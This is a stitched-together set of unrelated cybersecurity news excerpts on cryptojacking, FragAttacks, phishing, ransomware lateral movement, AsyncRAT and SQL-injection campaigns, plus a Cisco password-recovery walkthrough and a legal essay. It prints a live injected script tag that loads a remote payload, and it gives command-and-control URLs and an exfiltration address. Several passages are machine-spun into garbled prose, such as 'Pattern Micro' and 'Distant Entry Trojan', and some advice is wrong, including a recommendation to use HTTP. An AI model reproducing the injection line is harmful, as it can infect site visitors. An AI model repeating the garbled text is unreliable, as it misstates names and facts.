The latest wave of attacks involved the actor weaponizing CVE-2020-14882 (CVSS score: 9.8), a two-year-old Remote Code Execution (RCE) bug, against unpatched servers to gain control of the server take over and delete malicious payloads.
It is worth noting that the vulnerability has been exploited by several botnets in the past to distribute Monero miners and the Tsunami backdoor on infected Linux systems.
Successful exploitation of the bug was followed by deployment of a shell script responsible for a number of actions: removing the /var/log/syslog system log, disabling security features and cloud service agents from Alibaba and Tencent, and killing competing miners processes.
The shell script then proceeds to download the Kinsing malware from a remote server and also takes steps to ensure persistence using a cron job.
“Successful exploitation of this vulnerability could lead to RCE, which allows attackers to perform a variety of malicious activities on affected systems,” said Trend Micro. “This can range from running malware […] to stealing critical data and even taking complete control of a compromised machine.”
TeamTNT actors are making a comeback with Kangaroo Attack
The development comes as researchers at Aqua Security identified three new attacks linked to another “alive” cryptojacking group called TeamTNT, which voluntarily shut down in November 2021.
“TeamTNT checked for a misconfigured Docker daemon and deployed Alpine, a vanilla container image, with a command line to download a shell script (k.sh) to a C2 server,” said Aqua Security researcher Assaf morning
What is notable about the attack chain is that it appears to be designed to crack the SECP256K1 encryption, which if successful could give the actor the ability to compute the keys for each cryptocurrency wallet. In other words, the idea is to use the high but illegal processing power of its targets to run the ECDLP solver and get the key.
Two other attacks carried out by the group involve exploiting exposed Redis servers and misconfigured Docker APIs to provide coin miners and Tsunami binaries.
TeamTNT’s alignment with Docker REST APIs has been well documented over the past year. But in an operational security flaw discovered by Trend Micro, credentials associated with two of the attacker-controlled DockerHub accounts were uncovered.
The accounts – alpineos and sandeep078 – are said to have been used to proliferate a variety of malicious payloads such as rootkits, Kubernetes exploit kits, credential stealers, XMRig Monero miners and even the Kinsing malware.
“The alpineos account was used three times in exploit attempts on our honeypots from mid-September to early October 2021, and we traced the IP addresses of the deployments to their location in Germany,” said Trend Micro’s Nitesh Surana.
“The threat actors were logged into their accounts in the DockerHub registry and likely forgot to log out.” Alternatively, “threat actors logged into their DockerHub account using alpineos’ credentials”.
Trend Micro said the malicious Alpineos image was downloaded more than 150,000 times and informed Docker of those accounts.
It also recommends organizations to configure the exposed REST API with TLS to mitigate attacker-in-the-middle (AiTM) attacks, and use credential stores and helpers to host user credentials.
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Multiple bugs were detected to be present in the WIFI standards and therefore is likely to affect all the devices that were manufactured using those WIFI standards. These bugs were detected by a researcher in Belgium and they were named FragAttacks (fragmentation and aggregation attacks).
The researcher stated that some of these bugs dated back to 1997 which affect smartphones, computers, and other smart devices.
- If the device is present in the radio range of the attacker, then their devices can be taken over and the information of the owner can be stolen.
- The researcher found that all of the 75 devices he tested were vulnerable to at least on of the discovered attacks.
- These vulnerabilities were tracked as CVE-2020-24588, CVE-2020-24587, and CVE-2020-24586.
- Along with these, another chunk of flaw was discovered known as implementation flaw, which are present in the way WIFI devices are implemented.
How these bugs can be exploited?
The attackers have numerous ways to exploit these vulnerabilities. The vulnerabilities are linked to the processes WiFi standard breaks and reassembles network packets. This enables the attackers to steal data by injection of malicious code during the operation.
The prevention of exploitation of the devices is possible by updating the devices frequently, using proper passwords, and backing up the important data. DNS servers should be configured manually to stop the poisoning attacks. Use of HTTP is also recommended.
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Incident response is always a cat and mouse game. Organizations spend heavily on people and technology to help protect their enterprise, while threat actors continue to find new and unique ways to bypass those controls. We’ve seen this trend continue over time, whether it be with the shift to MHTML files by Locky or the delivery of malicious PowerPoint show files. The PhishMe intelligence team has noticed another change, this one by the actors who are phishing for login credentials, and their tactics reveal that they are actively working to bypass security controls. [Read more…]
In another highly visible ransomware event, Techcrunch recently reported that Congress was warned about ransomware attacks that were impacting the House of Representatives. While ransomware is by no means new, Congress was warned that these attacks were personalized and are specifically targeting third-party email services such as Yahoo or Gmail. Additionally, Congress was warned that their machine could be encrypted by simply clicking the link within the message. [Read more…]
Reuse of infrastructure supporting malware distribution is a well-documented characteristic of online crime and a key way to track and classify threat actors. While it may seem simplistic for monitoring threat actor activities, the IP addresses, domains, hostnames, and URLs contacted by malware tools betray a significant amount of information about threat actor groups. For some malware attacks, it’s possible to determine the threat actor’s identity based on the infrastructure used, but, other times, the lines are blurred because some organizations harbor cyber criminals. [Read more…]
At PhishMe we talk frequently about a familiar concept that cyber attacks and phishing emails are very rarely sent to only one organization. While security teams tend to focus on threats to your organization, PhishMe Intelligence is watching for email-based threats for EVERY organization. As we were gathering information about tax-related phishing scams this year, we noticed that institutes of higher learning were being hit quite broadly by this year’s W2 related scams. [Read more…]
On 4/6, the Phishing Intelligence team came across a wave of phishing emails that contained a .js file packaged inside of a zip file used to deliver malware. This is nothing new, and has been seen being pushed out by resources associated with the Dridex botnet and the Locky encryption ransomware. The interesting piece is that the attackers are using a new piece of malware called RockLoader to download and install the malware on remote systems. Downloaders are nothing new, as Upatre was used with Dyre and Gameover ZeuS in the past. RockLoader has several tricks up its sleeve. [Read more…]
Cybersecurity Experts, Former Federal Law Enforcement Professionals Say Cryptocurrency, Digital Data and Vulnerable Employees May Fuel Largest Crimewave in Modern History
LEESBURG, Va. – March 31, 2016 – PhishMe Inc., the leading provider of human phishing defense solutions, today released its April Cybercrime Alert, warning all organizations that its threat researchers expect ransomware attacks to increase as cybercriminals become increasingly aware that:
- Ransomware is readily-available and changes faster than detection technologies can respond
- In most cases, paying the ransom is the only way to free hostage data and systems
- Recent successful ransom situations will only encourage more attempts
- Cryptocurrencies such as Bitcoin can be used to force untraceable ransom payments
- Humans are widely susceptible to phishing, the most commonly used ransomware attack vector
Important disclaimer: THE IRS DOES NOT INITIATE CONTACT WITH TAXPAYERS BY EMAIL, TEXT MESSAGE, OR SOCIAL MEDIA CHANNELS TO REQUEST PERSONAL OR FINANCIAL INFORMATION. (See: https://www.irs.gov/uac/Report-Phishing )
The IRS has a very active security team, currently part of the U.S. Treasury Inspector General for Tax Administration (TIGTA), that is responsible for fighting phishing and tracking down the criminals who prey on U.S. tax payers. If you believe you have received a Phishing email, please help them by reporting the email you received to [email protected]. Additionally, please also consider sending a copy to our team. PhishMe Brand Intelligence automatically processes any URLs found in emails sent to [email protected] (not just IRS phish – we love gathering global intelligence on all phish).
Aaron Higbee, PhishMe co-founder and CTO, was featured on a recent CNBC SquawkBox broadcast segment discussing recent ransomware trends plaguing the healthcare space. During the attack, a phishing email is sent to the user’s inbox prompting them to click a malicious link that begins encrypting files and storage drives on your computer. Once the files are encrypted, the only way to retrieve the data from the malicious actors is to pay a ransom in BitCoin. In the video (seen below), Higbee dives deeper into the various motivations for these types of attacks and how businesses can better prepare themselves to thwart ransomware before it strikes.
Over the last few months, the Phishing Intelligence team has observed a huge increase of ransomware. Many attackers are starting to experiment with ransomware as an alternative to quickly monetize. Dridex has employed a new family of ransomware named Locky, which is a pretty drastic shift in what this group is known for doing. We’re even seeing attackers go after OSX with ransomware, something that was once thought to be immune from malware, however there were nearly 6,500 users who downloaded the compromised BitTorrent client.
Follow along with us as we deconstruct a recent ransomware attack and hack the hackers behind the attempt.
Judges Recognize PhishMe CEO for Leadership Excellence and Significant Contributions to the Cybersecurity Community
LEESBURG, VA – March 10, 2016 – PhishMe® Inc., the leading provider of human phishing defense solutions, today announced that CEO and co-founder Rohyt Belani has been honored as a “CEO of the Year” category winner of the 2016 Info Security Products Guide Global Excellence Awards®. These prestigious global awards, put on by the industry’s leading information security research and advisory guide, recognize security and IT vendors with advanced, ground-breaking products and solutions that are helping set the bar higher for others in all areas of security and technologies.
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This script is Copyright (C) 2013 Tenable Network Security, Inc.
The remote AIX host is missing a security patch.
There is a buffer overflow vulnerability in the ToolTalk library
libtt.a. A remote attacker can exploit this vulnerability when the
rpc.ttdbserver is enabled in /etc/inetd.conf.
The successful exploitation of this vulnerability allows a remote
attacker to execute arbitrary code as the root user.
The following libraries and executables are vulnerable :
See also :
Install the appropriate interim fix.
Risk factor :
High / CVSS Base Score : 9.3
Public Exploit Available : true
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A cryptocurrency mining assault concentrating on the Linux working system additionally concerned using an open supply distant entry trojan (RAT) dubbed CHAOS.
The risk, which was noticed by Pattern Micro in November 2022, stays just about unchanged in all different features, together with relating to terminating competing malware, safety software program, and deploying the Monero (XMR) cryptocurrency miner.
“The malware achieves its persistence by altering /etc/crontab file, a UNIX process scheduler that, on this case, downloads itself each 10 minutes from Pastebin,” researchers David Fiser and Alfredo Oliveira said.
This step is succeeded by downloading next-stage payloads that encompass the XMRig miner and the Go-based CHAOS RAT.
The cybersecurity agency mentioned that the primary downloader script and additional payloads are hosted in a number of areas to make it possible for the marketing campaign stays lively and new infections proceed to occur.
The CHAOS RAT, as soon as downloaded and launched, transmits detailed system metadata to a distant server, whereas additionally coming with capabilities to hold out file operations, take screenshots, shutdown and restart the pc, and open arbitrary URLs.
“On the floor, the incorporation of a RAT into the an infection routine of a cryptocurrency mining malware may appear comparatively minor,” the researchers mentioned.
“Nevertheless, given the software’s array of capabilities and the truth that this evolution exhibits that cloud-based risk actors are nonetheless evolving their campaigns, it can be crucial that each organizations and people keep further vigilant relating to safety.”
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Ransomware Distribution: How One Infection Can Go Network-Wide
Ransomware Network Distribution Techniques and Sub-Techniques
Ransomware’s undisputed notoriety extends far beyond its selectively destructive capabilities. Not unlike a (computer worm) this type of malware has an innate system- and device-skipping ability making it able to infect multiple devices and, of course, networks. In this article, we are going to take a closer look at what it’s called” lateral movement”, which is another word for ransomware distribution. Enjoy!
How Does Ransomware Spread?
Before we start talking about lateral movement, we should take a moment to think about how ransomware actually spreads. The most obvious choice would be the email way. Why? Simply because it’s convenient, it’s out there and threat actors don’t need to go through flaming hoops in order to come up with a good ‘disguise’ for the email’s contents. Here’s a quick example: a pdf attachment with a .vbs extension.
It takes about five seconds to come up with a long-winded name for your “.pdf” file. After that, you only need to apply the right icon, make sure that the fake .pdf extension remains within the viewable field of characters and that’s it. No one will bother looking at what’s written after the extension itself. Just how efficient is this ransomware distribution method?
Well, according to this 2022 cyber-study by Purplesec, 92% of malware is delivered through email; this includes viruses, rootkits, spyware, adware, and, of course, ransomware. So, email’s in the ivy league but what about a couple of bush leaguers? Although email is pretty much up for grabs, ransomware can be just as easily distributed by other means (e.g., an infected thumb drive or portable hard disk, a drive-by download, retrieving files from suspicious-looking websites, leaving your RDP port open, etc.). The possibilities are nearly endless and, as it happens, threat actors tend to leverage these types of opportunities.
On the topic of ransomware’s virulence, it’s not uncommon for such malware to remain dormant until the right moment presents itself. Ryuk’s the first example that springs to mind – in 2019, a group of malware analysts from the UK’s National Cyber Security Center has identified a Ryuk strain that possessed the ability to ‘deactivate’ itself after successfully infiltrating the victim’s infrastructure. It gets better; prior to placing itself into ‘hibernation mode’, Ryuk would have disabled every anti-malware protection mechanism along the way. In such cases, the dormancy period can last anywhere from a few weeks to a couple of months. This serves two purposes: obfuscation and maximizing the malware’s damage.
As you can see, given the right circumstances, for malware (ransomware) creators spreading ‘the word’ is just like shooting fish in the barrel. Now that you got the hang of this, let’s see how ransomware spreads through the network.
How does ransomware commonly spread to company networks
So, what’s up with this lateral movement and why does it matter? Well, in a nutshell, this choice of words kind of answers the above question, but because we won’t settle for that, let’s just go ahead and see what happens when ransomware gets inside a company’s network.
Lateral movement can be defined as a series of techniques and strategies a threat actor may employ in order to gain access to certain network resources or more unimpeded through the victim’s network. According to MITRE’s ATT & CK matrix – a system that defines the malware’s lifecycle – lateral movement has 9 major techniques as well as numerous sub-techniques: exploitation of remote services, internal spearphishing, ingress transferring, remote service session hijacking, remote services, replication through removable media, software deployment, tainting of shared content, and using alternative authentication material.
Exploitation of Remote Services
Threat actors would often exploit software or Operating System vulnerabilities to gain foothold in the (already) breached network. These flaws are usually exploited via a method called Remote Code Execution (RCE) – basically, the adversary will try to trigger some sort of anomalous response in the programming which they may leverage to run custom-built code. They can also take advantage of network discovery tools in order to identify faulty components.
Spearphishing’s also used during the initial infiltration stage. Though it may seem counterintuitive to employ the same method, spearphishing user accounts from the inside can grant you access to areas that are, otherwise, off-limits.
As they move further up the network, threat actors may use file-sharing systems or tools in order to transfer various types of files or tools between the already compromised sections and those soon-to-be-compromised.
Remote Service Session Hijacking & Remote Services.
During this phase, a threat actor will try to access other areas of the network by the means of hijacking remote services and/or communications. For instance, an adversary may interpose telnet, SSH, or RDP session between two instances in order to obtain the necessary clearance to interact with other systems. Another lateral movement technique involves the creation of a valid user account. This usually occurs during the first stages of the infiltration in ransomware distribution.
Replication through removable media
As the name suggests, this technique involves the infection of isolated systems by using removable media (e.g., memory cards, USB sticks, external hard drives). Replication via removable media is a bit tricky because it requires some help from the inside (i.e., insider threat). The person in question must identify an ‘air-tight’ network or systems (i.e., not directly connected to the company network) and physically interact with them.
Threat actors may leverage pre-existing software (e.g., 3rd party apps or OS-based ones) that are designed to fulfill administrative functions. If the action is successful, a threat actor can take advantage of the architecture in order to run evil code on an enterprise level.
Tainting of shared content
The threat actor can infect other systems by adding (hidden) payload files to shared storage, network drives, and even code repositories.
Use Alternate Authentication Material
Lateral movement can also be facilitated by alternate authentication material such as Application Access Token, Pass the Hash, Pass the Ticket or Web Session Cookie. The idea is to break open the cached credentials in order to bypass the normal authentication process.
How to secure your endpoints against ransomware
Following through on a few key action points can help you better mitigate the risk of a network-wide ransomware attack. Here are some aspects to take into consideration:
1. Constant backups are a must! It’s important to use a back-up location that is not directly connected to the local system, such as a cloud account and an external drive, as ransomware can encrypt data on these locations as well.
2. Teach your colleagues to never download or click on .zip or other type of attachments received in emails from unknown senders. This is the main method of distribution for ransomware threats. Only download attachments from known email addresses and scan any suspicious-looking attachment with a trusted and reputed antivirus product.
3. Instruct employees to never click links in emails from unknown senders. These links could redirect them to malicious websites that host ransomware. VirusTotal is a great tool to use to verify if a domain is safe or not.
4. Follow the common-sense guidelines to improve your network’s cyber safety. Teach employees to avoid questionable websites, never click links in unrequested emails or in unknown web pages and do not disclose personal or professional information on social media sites.
#5. Never use the administrator account on any of the computers in your environment. Instead, use guest accounts that have access only to the need to have and need to know information. This way, you can prevent escalation of privilege and other types of infiltration into your system
6.Do not keep the computers you use for business connected in a local network. As you saw, ransomware is capable of encrypting not only the data on the computer where the infection succeeded, but also on all the other computers that are connected to it though a local network. By keeping the computers isolated, you have a better fighting chance against this threat.
10. Teach your employees and anyone who has access to your computer(s) about these safety regulations and make it a requirement that they learn about the basics of cyber security. This can be an important investment in safeguarding your company’s data and ensuring business continuity.
11. Ransomware Encryption Protection. Take advantage of the latest anti-encryption technology in order to safeguard your digital assets. Heimdal™ Security’s Ransomware Encryption Protection can prevent active malicious encryption actions and eliminate all ransomware-related components.
Heimdal™ Ransomware Encryption Protection
- Blocks any unauthorized encryption attempts;
- Detects ransomware regardless of signature;
- Universal compatibility with any cybersecurity solution;
- Full audit trail with stunning graphics;
It’s high time everyone understood that the consequences of ransomware attacks go beyond data encryption. Data leakage is a huge risk that’s always attached to these type of cyber criminal hits and we’ve all seen them disrupt business flows and cause financial and credibility loss.
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Cybersecurity companies and governments across the globe have warned that hackers are highly likely to take advantage of the influx of remote workers. Cybersecurity researchers from Cofense have now uncovered a real-life example.
Researchers have identified a phishing campaign in which criminals attempt to trick Cisco WebEx users into giving away their login credentials. The hackers lure victims with an email subject line such as “Critical Update” or “Alert” and spoofed address meetings[@]webex[.]com.
The content of the email and the links within are reportedly “eerily similar” to legitimate communications. Users that click on the link are transported to a website “identical to the legitimate Cisco WebEx login page” with no visual difference to the original one.
Having provided their login credentials, victims are then redirected to the official WebEx download page - a measure designed to conceal the tracks of the cybercriminals responsible.
At the time of writing, the fraudulent domain is still operational, showing an open directory with files used by the criminals as part of the attack.
“With many organisations quickly adopting remote working policies, threat actors are poised to continue to spoof brands that facilitate virtual collaboration and communication, such as teleconferencing tools and cloud solutions,” Cofense concludes.
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Password Recovery By Felicia Nelson ESC Region 13 Austin, TX “!@#$%&*(*%$@”
Are you tired . . .? frustrated . . .? confused . . .? ’Cause your @#$!% PASSWORD won’t work!#&(*!!!
Given that you’re already consoled in to the offending router, manually flip the router switch off and then on again.
As soon as you turn the router back on, you will see text scrolling by indicating that the router is rebooting. Within 60 seconds of re-powering the router, press Ctrl + Break. Pause Break Ctrl Keyboards will vary.
Upon halting the routing process, you will be given a prompt. At this prompt, you must enter a command that tells the router that at next reboot, it must ignore the contents of NVRAM. That command is o/r 0x2142 and tell the router to reboot Now press Enter and then with the command i press again. Enter
As the router is rebooting, it will discover that it cannot find its configuration files (because you tricked it) and it will ask you if you would like to enter setup mode. Type n for “no” and press n Enter
enable Following reboot, you will see a generic prompt. Type to enter priveleged mode. Notice that you didn’t need a password because the router is not utilizing the contents of NVRAM where that password is stored.
Once you have entered the privileged mode, you have successfully overcome your initial problem -- remember? Your @#$!% PASSWORD wouldn’t work!#&(*!!! work!#&(*!!! Now we must get the router back to the way it was before you broke into it! copy start run At the privileged prompt, type .
copy run start Moves the contents of NVRAM into RAM, your running-configuration.
Now that we’re back where we want to be, let’s change the passwords back to the way they should be. config t Enter global configuration mode: Change your secret password: Enter line configuration mode: Log in to the console: Reconfigure the console password: Return to global configuration mode: enable secret ***** line con 0 login password ***** exit follows each of these commands. Enter
We’re almost done! Now we must go back and undo what we’ve done to the config-register. Right now you have your router set so that it boots to 0x2142. This needs to be changed to 0x2102 so that your router will find its running-config files in NVRAM when it boots. Return to global configuration mode. SuperRouter(config-line)#exit SuperRouter(config)#
config-register 0x2102 Change the config-register back by entering to verify that the change has been made. And then show ver SuperRouter(config)#config-register 0x2102 SuperRouter(config)#show ver Configuration register is 0x2142 (will be 0x2102 at next reboot)
You made it! Now all you need to do is copy your present configuration back into your NVRAM so that when you re-boot your router, you won’t have any more password woes. SuperRouter#copy run start Destination filename [startup-config]? Building configuration... [OK]
That’s all you do! • Within 60 seconds of re-booting the router, <ctrl break>. • Set up a register entry to ignore NVRAM , <o/r 0x2142> • Restart the router, <i> • Bypass the configuration utility, <n> or <Ctrl c> • Enter privileged mode, <enable> • Copy NVRAM to RAM, <copy start run> • Enter global configuration mode, <config t> • Change secret password, <enable secret *****> • Change console password, < line con 0>, <login>, <password *****> • Return to global configuration mode, <exit> or <Ctrl z> • Reset register entry, <config-register 0x2102> • Verify changes, <show ver> • Copy RAM to NVRAM, <copy run start> Happy Routing! By Felicia Nelson
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Authored by Lakshya Mathur & Vignesh Dhatchanamoorthy
AsyncRAT, quick for “Asynchronous Distant Entry Trojan,” is a complicated piece of malware designed to compromise the safety of pc techniques and steal delicate data. What units AsyncRAT other than different malware strains is its stealthy nature, making it a formidable adversary on the earth of cybersecurity.
McAfee Labs has noticed a latest AsyncRAT marketing campaign being distributed via a malicious HTML file. This whole an infection technique employs a variety of file varieties, together with PowerShell, Home windows Script File (WSF), VBScript (VBS), and extra, as a way to bypass antivirus detection measures.
Determine 1 – AsyncRAT prevalence for the final one month
A recipient receives a spam e-mail containing a nefarious internet hyperlink. When accessed, this hyperlink triggers the obtain of an HTML file. Inside this HTML file, an ISO file is embedded, and this ISO picture file harbors a WSF (Home windows Script File). The WSF file subsequently establishes connections with varied URLs and proceeds to execute a number of information in codecs akin to PowerShell, VBS (VBScript), and BAT. These executed information are employed to hold out a course of injection into RegSvcs.exe, a authentic Microsoft .NET utility. This manipulation of RegSvcs.exe permits the attacker to covertly conceal their actions inside a trusted system utility.
An infection Chain
Determine 2 – An infection Chain
Stage 1: Evaluation of HTML & WSF file
Determine 3 – Contents of HTML file
Determine 4 – Extracted ISO file when HTML is run
Throughout the ISO file is a WSF script labeled as “FXM_20231606_9854298542_098.wsf.” This file incorporates junk strings of knowledge, interspersed with particular “<job>” and “<VBScript>” tags (as indicated in Determine 5 and highlighted in purple). These tags are liable for establishing a connection to the URL “hxxp://18.104.22.168:222/f[.]txt” to fetch a PowerShell file.
Determine 5 – Contents of WSF file
Stage 2: Evaluation of PowerShell information
The URL “hxxp://22.214.171.124:222/f[.]txt” retrieves a textual content file that comprises PowerShell code.
Determine 6 – Contents of the First PowerShell file
The preliminary PowerShell code subsequently establishes a connection to a different URL, “hxxp://126.96.36.199:222/j[.]jpg,” and retrieves the second PowerShell file.
Determine 7 – Contents of Second PowerShell file
The PowerShell script drops 4 information into the ProgramData folder, together with two PowerShell information, one VBS file, and one BAT file. The contents of those 4 information are embedded inside this PowerShell script. It then proceeds to create a folder named “xral” within the ProgramData listing, the place it writes and extracts these information, as depicted in Determine 8.
Determine 8 – Second PowerShell creating 4 information and writing content material in them utilizing [IO.File]::WriteAllText command
Determine 9 – Information extracted within the “ProgramData/xral” folder
Stage 3: Evaluation of Information dropped within the ProgramData folder
Following this, the PowerShell script executes “xral.ps1,” which is liable for establishing a scheduled process to attain persistence. Moreover, it initiates the execution of the ” xral.vbs ” file.
Determine 10 – Content material of VBS file
The VBS script proceeds to execute the “1.bat” file, which, in flip, is liable for executing the ultimate PowerShell script, “hrlm.ps1.”
In a nutshell, after the second powershell, the execution goes like:
xral.ps1 -> xral.vbs -> 1.bat -> hrlm.ps1
These varied executions of various file varieties are strategically employed to bypass each static and behavior-based antivirus detections.
Stage 4: Evaluation of the ultimate PowerShell file
Determine 11 – Content material of ultimate PowerShell file
As depicted within the previous determine, this PowerShell file comprises a PE (Transportable Executable) file in hexadecimal format. This file is meant for injection right into a authentic course of. Within the second red-highlighted field, it’s evident that the attackers have obfuscated the method identify, which can be revealed after performing a alternative operation. It’s now evident that this PE file is meant for injection into “C:WindowsMicrosoft.NETFrameworkv4.0.30319RegSvcs.exe.” The method injection is completed via the Reflection Meeting load performance of the PowerShell file, which permits entry and invocation of .NET knowledge from inside PowerShell.
After the method injection, the RegSvcs utility is initiated and executed with none extra parameters.
Stage 5: Evaluation of contaminated RegSvcs.exe
As soon as PowerShell efficiently injects malicious code into RegSvcs, the compromised RegSvcs.exe runs, and the AsyncRAT server establishes a connection to it. The artifacts of this contaminated RegSvcs.exe operating are illustrated in Determine 12.
Determine 12 – AsyncRAT server strings in RegSvcs
Additional evaluation uncovered that this pattern possesses keylogging capabilities. It recorded all actions carried out on the system after replication, storing this data in a “log.tmp” file throughout the TEMP folder for record-keeping functions.
Determine 13 – Log file created in %temp% folder logging all keystrokes
Moreover, this pattern was actively engaged within the theft of credentials and browser-related knowledge. Moreover, it tried to seek for cryptocurrency-related data, together with knowledge associated to Bitcoin, Ethereum, and comparable property. The illicitly acquired knowledge was being transmitted over TCP to the IP tackle 45[.]12.253.107 on port 8808.
Determine 14 – TCP data of RegSvcs.exe
The an infection chain begins with a malicious URL embedded in a spam e-mail, resulting in the obtain of an HTML file containing an ISO. Throughout the ISO file, a WSF script connects to exterior URLs and downloads a PowerShell script, which, in flip, initiates a collection of non-PE file executions and in the end injects a hexadecimal-encoded PE file into the authentic “RegSvcs.exe.” This compromised course of connects to an AsyncRAT server. The malware displays keylogging capabilities, information person actions, and steals credentials, browser knowledge, and crypto-related data. Information is exfiltrated over TCP to an IP tackle and port. This intricate chain leverages various file varieties and obfuscation strategies to keep away from detection, in the end ensuing within the attackers gaining distant management and efficiently stealing knowledge.
Indicator of Compromise (IOCs)
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I have been asked to write a chapter, tentatively entitled “Law and Warfare in the Cyber Domain,” for the next edition of Moore, Roberts & Turner, eds., National Security Law. As part of that effort, I have been thinking about where the gaps are in the domain of international humanitarian law as applied in cyberspace. What follows below is a portion of the chapter and it is my best effort to create a taxonomy of cyber war questions (I tend to like taxonomies).
I offer it for two reasons -- first, as we head into the 4th of July holiday, I imagine some of you are looking for something "fun" to read over the weekend (not!). Second, and more importantly for me, I do not pretend to comprehensive knowledge of IHL. If any reader has constructive ways of improving this analysis, I would welcome your feedback:
A Taxonomy of Cyber War IHL Questions --
Questions of jus ad bello and jus in bellum barely begin to delimit the scope of legal questions relating to the nature of cyber conflict in this new domain. Few, if any, of the conflicts we can imagine will involve actions that rise to the level of an armed attack sufficient to trigger the application of international humanitarian law. Even the pseudo-conflict in the cyber domain between Russian and Ukrainian actors seems not to have involved “armed attacks” as international humanitarian law would define them.
More to the point, even fewer of the conflicts will involve armed actions between the military of nation states. Even if the tools used rise to the level of sufficient significance to merit classification as an armed attack, the likely combatants may well be non-state actors. To be sure a true cyber war between nation states may occur – but it is most likely to occur in the context of a kinetic armed conflict. Put colloquially, our cyber war with China will be coincident with a military confrontation over Taiwan.
As a consequence, much of the discussion of the application of international humanitarian law to cyber seems rather mis-focused on events that are unlikely to occur. Instead, we can imagine any number of far more plausible conflicts that involve a nation state and a group of non-state actors (whether those actors are organized groups or ad hoc amalgams of individuals, and whether those groups are motivated by profit, pride, or politics) and we can equally imagine conflicts where the tools of choice involve activity that is below the level of an armed attack in international law – acts we might call “sub war” acts involving the degradation of information, the disruption of communications, or even the destruction of capabilities.
How should we characterize these types of activities as a legal matter and what, if any, international laws govern the conduct of these activities? The answer to these questions requires, in the first instance, that we develop a taxonomy of cyber conflict – in effect scoping the domain. An effective taxonomy allows for two useful and interrelated definitional questions to be identified: First, it permits us to understand the domain of certain applicable laws and identify those domains for which applicable laws have yet to be developed. Second, it allows us to specify the boundary questions between domains – boundaries that often require legal, as well as practical definition.
To see what this means in the context of the cyber domain consider that our first effort to map international humanitarian law onto the domain of cyber conflict (through the efforts of the Tallinn Manual experts) has been limited to categorizing how existing international humanitarian law will apply to nation-versus-nation cyber conflicts that rise to the level of an armed conflict. These same experts have also announced their next project (helpfully called Tallinn 2.0) that will, when completed, attempt to characterize how international law will apply to sub-war conflicts between nations.
But that, as the chart below makes clear, barely begins to scratch the surface of the potential modalities of cyber conflict. We have no real idea (much less international agreement) as to what law applies to cyber conflicts between say, a nation and a non-state actor when the level of the conflict is equivalent to an armed attack. Put prosaically, what international law applies to a US response to an attack by, say, a hacker group that destroys a nuclear power plant (say, for avowed ideological reasons)?
Nor do we know what law might apply when a nation acts preemptively against a non-state actor to forestall such an armed attack. And we also have no idea how the laws might change in either of these situations when the cyber operation involves the use of tools that have less than kinetic “armed attack” effects. And, finally, international law generally applies only to States, not to individuals or non-state actors, so the domain of conflict between non-state groups is utterly terra incognito for the law.
Conceptualizing the domain in this way gives us a useful theoretical framework for a broader consideration of international humanitarian law in the cyber domain. It helps us identify at least two important boundary questions that the law will need to address:
• What is the difference, in the cyber domain between acts of armed warfare and sub-war acts?
• How do we distinguish non-state actors from state actors, and what rules of command and control allow us to attribute the acts of non-state actors to a nation state?
It also allows us to identify two important questions of the appropriate scope and jurisdiction of law in the domain:
• What international law controls cyber conflicts between a state and a non-state group?
• What international law controls cyber conflicts between two non-state groups in the cyber domain?
To be sure, these questions may have tentative answers that are derived from existing international law. There is a relatively robust doctrine of attribution, for example that defines the degree of control necessary to impute the actions of a non-state actor to a state. Likewise, norms of international humanitarian law applicable in non-international armed conflict in the kinetic context are well-known (to include, e.g., the provisions of Article 3 common to the four Geneva Conventions (1949), the 1977 Second Additional Protocol to the Geneva Conventions (where the State has ratified), and norms of customary international law. But there is no international agreement that those laws are applicable in the cyber domain in the first instance. And there is even less agreement as to how they might be implemented if applicable.
Finally, little law exists regarding the reciprocal obligations of the non-state actors themselves. While, for the most part, international law does not regulate the conduct of individuals and non-State actors, perhaps in the cyber domain we will need to modify that background rule. For in cyber, more so that in the physical world, individuals and groups of individuals are uniquely empowered to contest cyber conflicts against a nation state and against each other. It would be odd, indeed, if there were no law to govern such conflicts
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The flaw is a Windows LSA Spoofing vulnerability actively exploited in the wild. The vulnerability can be exploited by an unauthenticated attacker to force a domain controller to authenticate against another server using NTLM.
The Hive ransomware operation has been active since June 2021, it provides Ransomware-as-a-Service Hive and adopts a double-extortion model threatening to publish data stolen from the victims on their leak site (HiveLeaks).
The number of cyberattacks continues to increase as well as their level of sophistication. For this reason, the behavior of each actor in the cyber arena is becoming a national security concern for every government.
Today, the group has announced multiple targets for coordinated DDoS attacks – the resources to be attacked are distributed between so-called “units” who are based on members and volunteers who joined previous and current campaigns.
The Attorney General has issued an arrest warrant for the Russian hacker Nikolaj Kozachek who is accused to have carried out a cyber-espionage attack against the NATO think tank Joint Air Power Competence Center in Germany.
One of the typical phishing page scenarios observed in a recent campaign – a fake billing notification sent on behalf of SendGrid, a Colorado-based customer communication platform for transactional and marketing email.
The hacker conducted a phishing attack, they set up a phishing site that impersonated the official BAYC site claiming that BAYC, MAYC, and OthersideMeta holders were able to claim a free NFT for a short period of time.
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So far, 180,000 sites have had been penetrated by the new attack, which differs from existing SQL injections like the ones that cracked Sony 17 or 18 times because it attacks not one site at a time, but dozens.
Once they're cracked, the infected sites start serving copies of the malware to their visitors, extending the attack even further.
The attacks started Oct. 9, according to web security provider Armorize, which also found only six of 43 virus detectors can pick up the malicious code.
When a visitor hits the site, the pages link the browser to a site called jighui.com, which runs a script that infects it with botnet-control code that gives the botnet owner control to run code or make changes on the newly zombified machine.
The injector and subsequent download from jjghui.com appear to be designed to sell fake antivirus software, but the SQL injections makes the site vulnerable to anyone else with enough savvy to run a Google search to identify vulnerable machines, and hit them with a different set of exploits, according to Rothacker.
The jighui attack – named for the site from which it downloads the secondary payload – is owned or controlled by the same person who launched a similar set of attacks called LizaMoon last spring. Sites with the name of each exploit are registered to James Northone of Plainview, NY, though the name appears to be an alias and his actual identity is a mystery
One-line injection, unlimited possibilties
The injected script reads:
<script src=http://jjghui.com/urchin.js> </script>
The actual malicious code is hidden by character codes that change letters in the script to numbers to conceal them as the virus moves through firewalls.
The tool searches for sites that are vulnerable to this particular attack, and directs itself against those sites, Rothacker writes.
There's no easy way to fix the vulnerability of the database to this attack except to "harden" the database by applying all the patches and making all the security requirements consistent. Monitoring the database for unusual activity is important, too.
The key is to keep the injections out in the first place.
To do that, the main web server should check other web apps to make sure they have credentials giving them permission for access to the site and validation of who they are, rather than just letting any unauthenticated process launch new code, Rothacker writes.
Users should also have specific limits on their access. Unknown users or those just recently signed up should not get more than Read access to anything but the most basic information and forms whose content will be analyzed to reduce the chance malicious code is already present.
